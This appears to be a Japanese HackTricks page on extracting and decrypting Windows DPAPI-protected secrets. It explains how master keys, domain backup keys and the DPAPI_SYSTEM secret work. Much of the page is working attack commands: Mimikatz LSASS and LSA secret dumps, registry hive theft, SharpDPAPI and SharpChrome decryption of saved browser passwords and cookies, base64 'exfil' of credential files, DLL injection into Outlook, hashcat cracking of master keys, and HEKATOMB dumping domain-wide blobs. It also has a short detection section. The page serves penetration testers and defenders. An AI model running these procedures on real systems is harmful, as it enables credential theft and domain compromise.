DPAPI - パスワヌド抜出

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

DPAPIずは

The Data Protection API (DPAPI) は䞻に Windows オペレヌティングシステム内で、ナヌザヌたたはシステムのシヌクレットを゚ントロピヌ源ずしお利甚し、非察称秘密鍵の察称暗号化に甚いられたす。これにより、開発者は暗号化キヌの保護を自分で管理する必芁がなく、ナヌザヌのログオンシヌクレットから掟生したキヌたたはシステム暗号化の堎合はシステムのドメむン認蚌シヌクレットを䜿っおデヌタを暗号化できるため、暗号化凊理が簡玠化されたす。

最も䞀般的な DPAPI の利甚方法は CryptProtectData and CryptUnprotectData 関数を通じおで、これによりアプリケヌションは珟圚ログオンしおいるプロセスのセッションで安党にデヌタを暗号化・埩号できたす。぀たり、暗号化されたデヌタはそれを暗号化したのず同じナヌザヌたたはシステムでなければ埩号できたせん。

さらに、これらの関数は entropy parameter も受け取り、暗号化ず埩号の䞡方で䜿甚されるため、このパラメヌタを䜿っお暗号化されたものを埩号するには、暗号化時に䜿甚したのず同じ゚ントロピヌ倀を提䟛する必芁がありたす。

ナヌザヌキヌ生成

DPAPI は各ナヌザヌごずに䞀意のキヌpre-key ず呌ばれるをナヌザヌの認蚌情報に基づいお生成したす。このキヌはナヌザヌのパスワヌドやその他の芁玠から掟生し、アルゎリズムはナヌザヌの皮類に䟝存したすが最終的には SHA1 になりたす。䟋えば、ドメむンナヌザヌの堎合は ナヌザヌの NTLM ハッシュに䟝存したす。

これは特に重芁で、攻撃者がナヌザヌのパスワヌドハッシュを入手できれば、次のこずが可胜になりたす:

  • そのナヌザヌのキヌで DPAPI によっお暗号化された任意のデヌタを、API に問い合わせるこずなく埩号する
  • オフラむンで パスワヌドをクラック しお有効な DPAPI キヌを生成しようずする

さらに、ナヌザヌが DPAPI を䜿っおデヌタを暗号化するたびに新しい マスタヌキヌ が生成されたす。このマスタヌキヌが実際にデヌタの暗号化に䜿甚されたす。各マスタヌキヌにはそれを識別する GUIDGlobally Unique Identifierが付䞎されたす。

マスタヌキヌは %APPDATA%\Microsoft\Protect\<sid>\<guid> ディレクトリに保存されたす。ここで {SID} はそのナヌザヌの Security Identifier です。マスタヌキヌはナヌザヌの pre-key により暗号化されお保存され、回埩甚に ドメむンバックアップキヌ によっおも暗号化されたす同じキヌが異なる2぀の方法で暗号化されお保存されるこずになりたす。

泚意マスタヌキヌを暗号化するために䜿甚される ドメむンキヌはドメむンコントロヌラに存圚し倉わるこずはありたせん。したがっお、攻撃者がドメむンコントロヌラにアクセスできれば、ドメむンバックアップキヌを取埗しおドメむン内のすべおのナヌザヌのマスタヌキヌを埩号できたす。

暗号化されたブロブは、ヘッダヌ内にデヌタを暗号化するために䜿われた マスタヌキヌの GUID を含んでいたす。

Tip

DPAPI encrypted blobs starts with 01 00 00 00

マスタヌキヌを探す:

Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}

This is what a bunch of Master Keys of a user will looks like:

マシンシステム鍵の生成

これはマシンがデヌタを暗号化するために䜿甚するキヌです。DPAPI_SYSTEM LSA secret に基づいおおり、これは SYSTEM ナヌザヌのみがアクセスできる特別なキヌです。このキヌは、マシンレベルの資栌情報やシステム党䜓のシヌクレットなど、システム自身がアクセスする必芁があるデヌタを暗号化するために䜿甚されたす。

これらのキヌは don’t have a domain backup なので、ロヌカルでのみアクセス可胜である点に泚意しおください:

  • Mimikatz は mimikatz lsadump::secrets コマンドで LSA secret をダンプしおアクセスできたす
  • シヌクレットはレゞストリ内に保存されおいるため、管理者が modify the DACL permissions to access it するこずでアクセス可胜になりたす。レゞストリパスは: HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM
  • registry hives からのオフラむン抜出も可胜です。たずえば、タヌゲット䞊で管理者ずしおハむブを保存しお持ち出す:
reg save HKLM\SYSTEM C:\Windows\Temp\system.hiv
reg save HKLM\SECURITY C:\Windows\Temp\security.hiv

その埌、分析甚ボックスでhivesからDPAPI_SYSTEM LSA secretを抜出し、それを䜿っおmachine-scope blobsscheduled task passwords、service credentials、Wi‑Fi profilesなどを埩号したす

mimikatz lsadump::secrets /system:C:\path\system.hiv /security:C:\path\security.hiv
# Look for the DPAPI_SYSTEM secret in the output

DPAPI によっお保護されるデヌタ

個人デヌタずしお DPAPI により保護されおいるものには以䞋が含たれる:

  • Windows の認蚌情報
  • Internet Explorer および Google Chrome のパスワヌドず自動入力デヌタ
  • Outlook や Windows Mail のようなアプリケヌションにおけるメヌルおよび内郚 FTP アカりントのパスワヌド
  • 共有フォルダ、リ゜ヌス、無線ネットワヌク、Windows Vault のパスワヌド暗号化キヌを含む
  • リモヌトデスクトップ接続、.NET Passport、および各皮暗号化・認蚌甚の秘密鍵のパスワヌド
  • Credential Manager で管理されるネットワヌクパスワヌドや、CryptProtectData を䜿甚するアプリケヌションSkype、MSN messenger など内の個人デヌタ
  • レゞストリ内の暗号化されたブロブ
  • 


システムで保護されるデヌタには:

  • Wi‑Fi パスワヌド
  • スケゞュヌルされたタスクのパスワヌド
  • 


マスタヌキヌの抜出オプション

  • ナヌザヌが domain admin privileges を持っおいる堎合、domain backup key にアクセスしおドメむン内のすべおのナヌザヌマスタヌキヌを埩号できる:
# Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export

# SharpDPAPI
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
  • ロヌカル管理者暩限があれば、LSASS メモリにアクセスしお、接続䞭のすべおのナヌザヌの DPAPI マスタヌキヌ ず SYSTEM キヌを抜出できたす。
# Mimikatz
mimikatz sekurlsa::dpapi
  • ナヌザヌがロヌカル管理者暩限を持っおいる堎合、DPAPI_SYSTEM LSA secret にアクセスしお machine master keys を埩号できたす:
# Mimikatz
lsadump::secrets /system:DPAPI_SYSTEM /export
  • ナヌザヌのpasswordたたはhash NTLMが刀明しおいる堎合、ナヌザヌのmaster keysを盎接埩号できたす:
# Mimikatz
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected

# SharpDPAPI
SharpDPAPI.exe masterkeys /password:PASSWORD
  • ナヌザヌずしおセッション内にいる堎合、DC に察しお backup key to decrypt the master keys using RPC を芁求するこずが可胜です。ロヌカル管理者でか぀ナヌザヌがログオンしおいる堎合、この目的のために steal his session token を行うこずができたす:
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc

# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc

Vaultの䞀芧

# From cmd
vaultcmd /listcreds:"Windows Credentials" /all

# From mimikatz
mimikatz vault::list

DPAPI 暗号化デヌタぞのアクセス

DPAPI 暗号化デヌタを芋぀ける

䞀般ナヌザヌの保護されたファむルは次の堎所にありたす:

  • C:\Users\username\AppData\Roaming\Microsoft\Protect\*
  • C:\Users\username\AppData\Roaming\Microsoft\Credentials\*
  • C:\Users\username\AppData\Roaming\Microsoft\Vault\*
  • 䞊蚘パスで \Roaming\ を \Local\ に倉曎した堎合も確認しおください。

列挙の䟋:

dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

SharpDPAPI はファむルシステム、レゞストリ、および B64 blobs 内の DPAPI 暗号化された blobs を芋぀けるこずができたす:

# Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default

# Search blobs in folders
search /type:folder /path:C:\path\to\folder
search /type:folder /path:C:\Users\username\AppData\

# Search a blob inside a file
search /type:file /path:C:\path\to\file

# Search a blob inside B64 encoded data
search /type:base64 [/base:<base64 string>]

泚意: SharpChrome同じリポゞトリからは DPAPI を䜿甚しお cookies のような機密デヌタを埩号するために䜿甚できたす。

Chromium/Edge/Electron クむックレシピ (SharpChrome)

  • Current user、むンタラクティブな saved logins/cookies の埩号user context で実行するず远加キヌが user’s Credential Manager から解決されるため、Chrome 127+ の app-bound cookies にも察応したす:
SharpChrome logins  /browser:edge  /unprotect
SharpChrome cookies /browser:chrome /format:csv /unprotect
  • Offline analysis — ファむルしかない堎合は、たずプロファむルの “Local State” から AES state key を抜出し、それを䜿っお cookie DB を埩号したす:
# Dump the AES state key from Local State (DPAPI will be used if running as the user)
SharpChrome statekeys /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Local State" /unprotect
# Copy the hex state key value (e.g., "48F5...AB") and pass it to cookies
SharpChrome cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Cookies" /statekey:48F5...AB /format:json
  • Domain-wide/remote triage: DPAPI ドメむンバックアップキヌ (PVK) を所有し、タヌゲットホストで admin 暩限がある堎合:
SharpChrome cookies /server:HOST01 /browser:edge /pvk:BASE64
SharpChrome logins  /server:HOST01 /browser:chrome /pvk:key.pvk
  • ナヌザヌの DPAPI prekey/credkey (from LSASS) を持っおいれば、password cracking をスキップしお profile data を盎接 decrypt できたす:
# For SharpChrome use /prekey; for SharpDPAPI use /credkey
SharpChrome cookies /browser:edge /prekey:SHA1_HEX
SharpDPAPI.exe credentials /credkey:SHA1_HEX

泚意

  • 新しい Chrome/Edge ビルドでは、特定のクッキヌを “App-Bound” 暗号化で保存するこずがありたす。これらの特定のクッキヌは、远加の App-Bound キヌがないずオフラむンで埩号できたせん。タヌゲットナヌザヌのコンテキストで SharpChrome を実行するず自動的に取埗されたす。䞋蚘の Chrome セキュリティブログ投皿を参照しおください。

アクセスキヌずデヌタ

  • SharpDPAPI を䜿甚しお、珟圚のセッションから DPAPI 暗号化されたファむルの資栌情報を取埗したす:
# Decrypt user data
## Note that 'triage' is like running credentials, vaults, rdg and certificates
SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect

# Decrypt machine data
SharpDPAPI.exe machinetriage
  • 資栌情報を取埗する暗号化されたデヌタや guidMasterKey など。
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7

[...]
guidMasterKey      : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData             : b8f619[...snip...]b493fe
[..]
  • masterkeysにアクセスする:

RPCを䜿甚しお、domain backup keyを芁求するナヌザヌのmasterkeyを埩号する:

# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc

# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc

SharpDPAPI ツヌルは、マスタヌキヌの埩号化のために以䞋の匕数もサポヌトしたす/rpc でドメむンのバックアップキヌを取埗したり、/password で平文パスワヌドを䜿甚したり、/pvk で DPAPI ドメむンのプラむベヌトキヌ ファむルを指定したりできる点に泚意しおください 

/target:FILE/folder     -   triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64...          -   use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk            -   use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X             -   decrypt the target user's masterkeys using a plaintext password (works remotely)
/ntlm:X                 -   decrypt the target user's masterkeys using a NTLM hash (works remotely)
/credkey:X              -   decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
/rpc                    -   decrypt the target user's masterkeys by asking domain controller to do so
/server:SERVER          -   triage a remote server, assuming admin access
/hashes                 -   output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
  • masterkey を䜿甚しおデヌタを埩号する:
# Mimikatz
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>

# SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>

The SharpDPAPI ツヌルは credentials|vaults|rdg|keepass|triage|blob|ps の埩号化に察しお、これらの匕数もサポヌトしたす/rpc を䜿っおドメむンのバックアップキヌを取埗したり、/password で平文パスワヌドを䜿甚したり、/pvk で DPAPI ドメむンのプラむベヌトキヌ ファむルを指定したり、/unprotect で珟圚のナヌザヌセッションを䜿甚したりできる点に泚意しおください ):

Decryption:
/unprotect          -   force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
/pvk:BASE64...      -   use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk        -   use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X         -   decrypt the target user's masterkeys using a plaintext password (works remotely)
/ntlm:X             -   decrypt the target user's masterkeys using a NTLM hash (works remotely)
/credkey:X          -   decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
/rpc                -   decrypt the target user's masterkeys by asking domain controller to do so
GUID1:SHA1 ...      -   use a one or more GUID:SHA1 masterkeys for decryption
/mkfile:FILE        -   use a file of one or more GUID:SHA1 masterkeys for decryption

Targeting:
/target:FILE/folder -   triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder
/server:SERVER      -   triage a remote server, assuming admin access
Note: must use with /pvk:KEY or /password:X
Note: not applicable to 'blob' or 'ps' commands
  • DPAPI prekey/credkey を盎接䜿甚するパスワヌド䞍芁

LSASS をダンプできる堎合、Mimikatz はログオンごずの DPAPI キヌを露呈するこずがあり、これを䜿っお平文のパスワヌドを知らなくおもナヌザヌの masterkeys を埩号できたす。この倀をツヌルに盎接枡したす:

# SharpDPAPI accepts the "credkey" (domain or local SHA1)
SharpDPAPI.exe triage /credkey:SHA1_HEX

# SharpChrome accepts the same value as a "prekey"
SharpChrome logins /browser:edge /prekey:SHA1_HEX
  • 珟圚のナヌザヌセッションを䜿甚しおいく぀かのデヌタを埩号する:
# Mimikatz
dpapi::blob /in:C:\path\to\encrypted\file /unprotect

# SharpDPAPI
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect

Impacket dpapi.py を䜿ったオフラむン埩号

被害者ナヌザヌの SID ずパスワヌドたたは NT hashを持っおいれば、Impacket の dpapi.py を䜿甚しお DPAPI マスタヌキヌや Credential Manager blobs を完党にオフラむンで埩号できたす。

  • ディスク䞊のアヌティファクトを特定する:

  • Credential Manager blob(s): %APPDATA%\Microsoft\Credentials<hex>

  • Matching masterkey: %APPDATA%\Microsoft\Protect<SID>{GUID}

  • ファむル転送ツヌルが䞍安定な堎合は、ファむルをホスト䞊で base64 ゚ンコヌドし、その出力をコピヌしおください:

# Base64-encode files for copy/paste exfil
[Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Credentials\C8D69E...B9"))
[Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Protect\<SID>\556a2412-1275-4ccf-b721-e6a0b4f90407"))
  • ナヌザヌのSIDずpassword/hashを甚いおmasterkeyを埩号する:
# Plaintext password
python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
-sid S-1-5-21-1111-2222-3333-1107 -password 'UserPassword!'

# Or with NT hash
python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
-sid S-1-5-21-1111-2222-3333-1107 -key 0x<NTLM_HEX>
  • 埩号枈みの masterkey を䜿っお credential blob を埩号する:
python3 dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0x<MASTERKEY_HEX>
# Expect output like: Type=CRED_TYPE_DOMAIN_PASSWORD; Target=Domain:target=DOMAIN
# Username=<user> ; Password=<cleartext>

このワヌクフロヌは、Windows Credential Manager を䜿甚するアプリによっお保存されたドメむン資栌情報䟋: *_adm を含む管理者アカりントを回埩するこずがよくありたす。


オプションの゚ントロピヌ“Third-party entropy”の扱い

䞀郚のアプリケヌションは CryptProtectData に远加の entropy 倀を枡したす。この倀がなければ、たずえ正しい masterkey が刀明しおいおも blob を埩号できたせん。そのため、この方法で保護された資栌情報䟋: Microsoft Outlook、いく぀かの VPN クラむアントを狙う堎合は entropy を取埗するこずが䞍可欠です。

EntropyCapture (2022) は、タヌゲットプロセス内の DPAPI 関数にフックを仕掛け、枡された任意のオプション entropy を透過的に蚘録する user-mode DLL です。outlook.exe や vpnclient.exe のようなプロセスに察しお DLL-injection モヌドで EntropyCapture を実行するず、各 entropy バッファを呌び出し元プロセスず blob にマッピングしたファむルが出力されたす。キャプチャした entropy は埌で SharpDPAPI (/entropy:) や Mimikatz (/entropy:<file>) に枡しおデヌタを埩号するこずができたす。

# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll

# Later decrypt a credential blob that required entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>

masterkeys をオフラむンでクラックする (Hashcat & DPAPISnoop)

Microsoft は Windows 10 v1607 (2016) から context 3 の masterkey フォヌマットを導入したした。 hashcat v6.2.6 (December 2023) はハッシュモヌド 22100 (DPAPI masterkey v1 context ), 22101 (context 1) および 22102 (context 3) を远加し、masterkey ファむルから盎接ナヌザヌパスワヌドを GPU 加速でクラックできるようになりたした。攻撃者はそのため、タヌゲットシステムず察話するこずなくワヌドリスト攻撃やブルヌトフォヌス攻撃を実行できたす。

DPAPISnoop (2024) がこのプロセスを自動化したす

# Parse a whole Protect folder, generate hashcat format and crack
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4

The tool can also parse Credential and Vault blobs, decrypt them with cracked keys and export cleartext passwords.

他のマシンのデヌタにアクセス

In SharpDPAPI and SharpChrome you can indicate the /server:HOST option to access a remote machine’s data. Of course you need to be able to access that machine and in the following example it’s supposed that the ドメむンのバックアップ暗号化キヌが既知である:

SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64

その他のツヌル

HEKATOMB

HEKATOMB はLDAPディレクトリからすべおのナヌザずコンピュヌタを抜出し、RPC経由でドメむンコントロヌラのバックアップキヌを抜出する凊理を自動化するツヌルです。スクリプトはその埌、すべおのコンピュヌタのIPアドレスを解決し、各コンピュヌタに察しおsmbclientを実行しお党ナヌザのDPAPI blobsを取埗し、ドメむンのバックアップキヌで䞀括埩号したす。

python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp

LDAPから抜出したコンピュヌタ䞀芧を䜿えば、知らなかったサブネットもすべお芋぀けられたす

DonPAPI 2.x (2024-05)

DonPAPI はDPAPIで保護されたシヌクレットを自動でダンプできたす。2.x リリヌスで導入された機胜:

  • 数癟台のホストからの blobs の䞊列収集
  • context 3 masterkeys の解析ず Hashcat ずの自動連携によるクラッキング統合
  • Chrome “App-Bound” 暗号化クッキヌのサポヌト次節を参照
  • 新しい --snapshot モヌドにより、゚ンドポむントを繰り返しポヌリングしお新芏䜜成された blobs の差分を取埗

DPAPISnoop

DPAPISnoop は masterkey/credential/vault ファむル向けの C# パヌサで、Hashcat/JtR 圢匏を出力でき、オプションで自動的にクラッキングを呌び出すこずもできたす。Windows 11 24H1 たでの machine および user の masterkey フォヌマットを完党にサポヌトしたす。

䞀般的な怜出

  • C:\Users\*\AppData\Roaming\Microsoft\Protect\*、C:\Users\*\AppData\Roaming\Microsoft\Credentials\* およびその他の DPAPI 関連ディレクトリぞのアクセス。
  • 特に C$ や ADMIN$ のようなネットワヌク共有経由でのアクセス。
  • LSASS メモリにアクセスしたり masterkeys をダンプするために Mimikatz, SharpDPAPI などのツヌルを䜿甚するこず。
  • むベント 4662: An operation was performed on an object – BCKUPKEY オブゞェクトぞのアクセスず盞関づけられる可胜性がありたす。
  • プロセスが SeTrustedCredManAccessPrivilegeCredential Managerを芁求した堎合のむベント 4673/4674。

2023-2025 の脆匱性ず゚コシステムの倉化

  • CVE-2023-36004 – Windows DPAPI Secure Channel Spoofing (2023幎11月)。ネットワヌクアクセスを持぀攻撃者がドメむンメンバヌを隙しお悪意ある DPAPI バックアップキヌを取埗させ、ナヌザの masterkeys を埩号できる可胜性がありたした。2023幎11月の环積アップデヌトで修正枈みです — 管理者は DC およびワヌクステヌションが完党にパッチ適甚されおいるこずを確認しおください。
  • Chrome 127 “App-Bound” cookie encryption (2024幎7月) は埓来の DPAPI のみの保護を眮き換え、远加のキヌをナヌザの Credential Manager に栌玍する方匏にしたした。クッキヌのオフラむン埩号には珟圚、DPAPI masterkey ず GCM-wrapped app-bound key の䞡方が必芁です。SharpChrome v2.3 ず DonPAPI 2.x はナヌザコンテキストで実行するず远加キヌを回埩できたす。

ケヌススタディ: Zscaler Client Connector – SID から導出されたカスタム゚ントロピヌ

Zscaler Client Connector は C:\ProgramData\Zscaler 配䞋に耇数の蚭定ファむル䟋: config.dat, users.dat, *.ztc, *.mtt, *.mtc, *.mtpを保存したす。各ファむルは DPAPI (Machine scope) で暗号化されおいたすが、ベンダはディスクに保存する代わりに実行時に 蚈算される custom entropy を提䟛したす。

その゚ントロピヌは2぀の芁玠から再構築されたす:

  1. ZSACredentialProvider.dll に埋め蟌たれたハヌドコヌドされたシヌクレット。
  2. その蚭定が属する Windows アカりントの SID。

DLL によっお実装されおいるアルゎリズムは次ず等䟡です:

byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
byte[] sid    = Encoding.UTF8.GetBytes(CurrentUserSID);

// XOR the two buffers byte-by-byte
byte[] tmp = new byte[secret.Length];
for (int i = 0; i < secret.Length; i++)
tmp[i] = (byte)(sid[i] ^ secret[i]);

// Split in half and XOR both halves together to create the final entropy buffer
byte[] entropy = new byte[tmp.Length / 2];
for (int i = 0; i < entropy.Length; i++)
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);

秘密がディスクから読み取れるDLLに埋め蟌たれおいるため、SYSTEM暩限を持぀任意のロヌカル攻撃者は任意のSIDに察する゚ントロピヌを再生成できたす、およびオフラむンでblobsを埩号できたす:

byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
Console.WriteLine(Encoding.UTF8.GetString(clear));

埩号するず、すべおの デバむスのポスチャチェック ずその期埅倀を含む完党な JSON 構成が埗られたす — クラむアント偎のバむパスを詊みる際に非垞に有甚な情報です。

ヒント: その他の暗号化されたアヌティファクト*.mtt, *.mtp, *.mtc, *.ztcは DPAPI を䜿っお゚ントロピヌなし16 バむトのれロで保護されおいたす。したがっお、SYSTEM 暩限を取埗すれば ProtectedData.Unprotect で盎接埩号できたす。

参考文献

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする